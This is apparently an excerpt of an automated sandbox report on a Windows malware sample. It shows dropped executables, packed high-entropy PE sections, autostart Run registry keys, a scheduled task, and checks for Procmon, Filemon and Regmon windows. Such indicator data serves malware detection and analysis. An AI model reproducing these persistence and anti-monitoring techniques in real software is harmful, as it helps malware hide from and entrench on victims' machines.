Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d14c0 should be: 0x1d5929
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2c251f should be: 0x2c6e14

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: olvlyudu
Source: file.exe	Static PE information: section name: khkyjidv
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: olvlyudu
Source: skotes.exe.0.dr	Static PE information: section name: khkyjidv
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: arcbojaz
Source: random[1].exe.6.dr	Static PE information: section name: gudtcmgg
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name:
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name: .rsrc
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name: .idata
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name:
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name: arcbojaz
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name: gudtcmgg
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: saixhvao
Source: random[1].exe0.6.dr	Static PE information: section name: cgvumvdv
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name:
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: .rsrc
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: .idata
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name:
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: saixhvao
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: cgvumvdv
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: bvkzsckp
Source: random[1].exe1.6.dr	Static PE information: section name: wpxlzhew
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name:
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name: .idata
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name:
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name: bvkzsckp
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name: wpxlzhew
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: jwaseymg
Source: random[2].exe.6.dr	Static PE information: section name: reksrrmv
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 9f58872eb6.exe.6.dr	Static PE information: section name:
Source: 9f58872eb6.exe.6.dr	Static PE information: section name: .idata
Source: 9f58872eb6.exe.6.dr	Static PE information: section name: jwaseymg
Source: 9f58872eb6.exe.6.dr	Static PE information: section name: reksrrmv
Source: 9f58872eb6.exe.6.dr	Static PE information: section name: .taggant
Source: service123.exe.7.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0E7FF push esi; mov dword ptr [esp], edx	8_2_05E0EC78
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0E7FF push ebx; mov dword ptr [esp], eax	8_2_05E0EE52
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0E7FF push edx; mov dword ptr [esp], 050C7F1Fh	8_2_05E0EE56
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0E7FF push esi; mov dword ptr [esp], ebp	8_2_05E0F419
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E11F08 push edi; mov dword ptr [esp], ebx	8_2_05E11F0A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E11F08 push ebp; mov dword ptr [esp], edi	8_2_05E11F14
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E11F08 push 2A2578C5h; mov dword ptr [esp], ecx	8_2_05E14C90
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E11F08 push ebx; mov dword ptr [esp], 37FF5AF2h	8_2_05E14CA3
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E11DC9 push esi; mov dword ptr [esp], edx	8_2_05E15756
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E115A8 push 61F7E7B2h; mov dword ptr [esp], eax	8_2_05E115B0
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E10DB0 push edi; mov dword ptr [esp], 7A208028h	8_2_05E134A2
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E10DB0 push 122D0845h; mov dword ptr [esp], esi	8_2_05E13C02
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1159D push ecx; mov dword ptr [esp], esi	8_2_05E143C1
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E11D66 push eax; mov dword ptr [esp], 78744C84h	8_2_05E15A1D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E13569 push 74075433h; mov dword ptr [esp], ebx	8_2_05E13592
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0ED4B push edi; mov dword ptr [esp], ebp	8_2_05E0FA5C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E10D4E push ebx; mov dword ptr [esp], esi	8_2_05E10D56
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1255E push 41C93BD3h; mov dword ptr [esp], ecx	8_2_05E12571
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1255E push 48D16E19h; mov dword ptr [esp], ebp	8_2_05E12C98
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push 5F4B1DD0h; mov dword ptr [esp], ecx	8_2_05E44FB0
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push 7A4214B2h; mov dword ptr [esp], esi	8_2_05E44FDA
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push ebx; mov dword ptr [esp], 358798D8h	8_2_05E45082
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push ecx; mov dword ptr [esp], ebx	8_2_05E45093
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push edx; mov dword ptr [esp], ecx	8_2_05E45113
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push edi; mov dword ptr [esp], ecx	8_2_05E4519B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push 6844796Dh; mov dword ptr [esp], esi	8_2_05E451A6
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push edi; mov dword ptr [esp], eax	8_2_05E451F0
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push edx; mov dword ptr [esp], ebx	8_2_05E451F6
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E44D2A push esi; mov dword ptr [esp], 2109F950h	8_2_05E45231
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E12CE3 push eax; mov dword ptr [esp], esi	8_2_05E147D4
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0ECE7 push 2AB99668h; mov dword ptr [esp], eax	8_2_05E0F788

Source: file.exe	Static PE information: section name: entropy: 7.977193845039559
Source: file.exe	Static PE information: section name: olvlyudu entropy: 7.9540718655110405
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.977193845039559
Source: skotes.exe.0.dr	Static PE information: section name: olvlyudu entropy: 7.9540718655110405
Source: random[1].exe.6.dr	Static PE information: section name: arcbojaz entropy: 7.9561131942917225
Source: e6b1d28aa7.exe.6.dr	Static PE information: section name: arcbojaz entropy: 7.9561131942917225
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.974777943413181
Source: random[1].exe0.6.dr	Static PE information: section name: saixhvao entropy: 7.953655752107788
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: entropy: 7.974777943413181
Source: 2bfd73b1c9.exe.6.dr	Static PE information: section name: saixhvao entropy: 7.953655752107788
Source: random[1].exe1.6.dr	Static PE information: section name: bvkzsckp entropy: 7.954205119392446
Source: 0a29ef6c7c.exe.6.dr	Static PE information: section name: bvkzsckp entropy: 7.954205119392446
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.7732611689992375
Source: 9f58872eb6.exe.6.dr	Static PE information: section name: entropy: 7.7732611689992375

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0a29ef6c7c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dc933f0ab5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f58872eb6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2bfd73b1c9.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2bfd73b1c9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2bfd73b1c9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0a29ef6c7c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0a29ef6c7c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dc933f0ab5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dc933f0ab5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f58872eb6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f58872eb6.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006EF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		11_2_006EF98E
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00761C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		11_2_00761C41

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
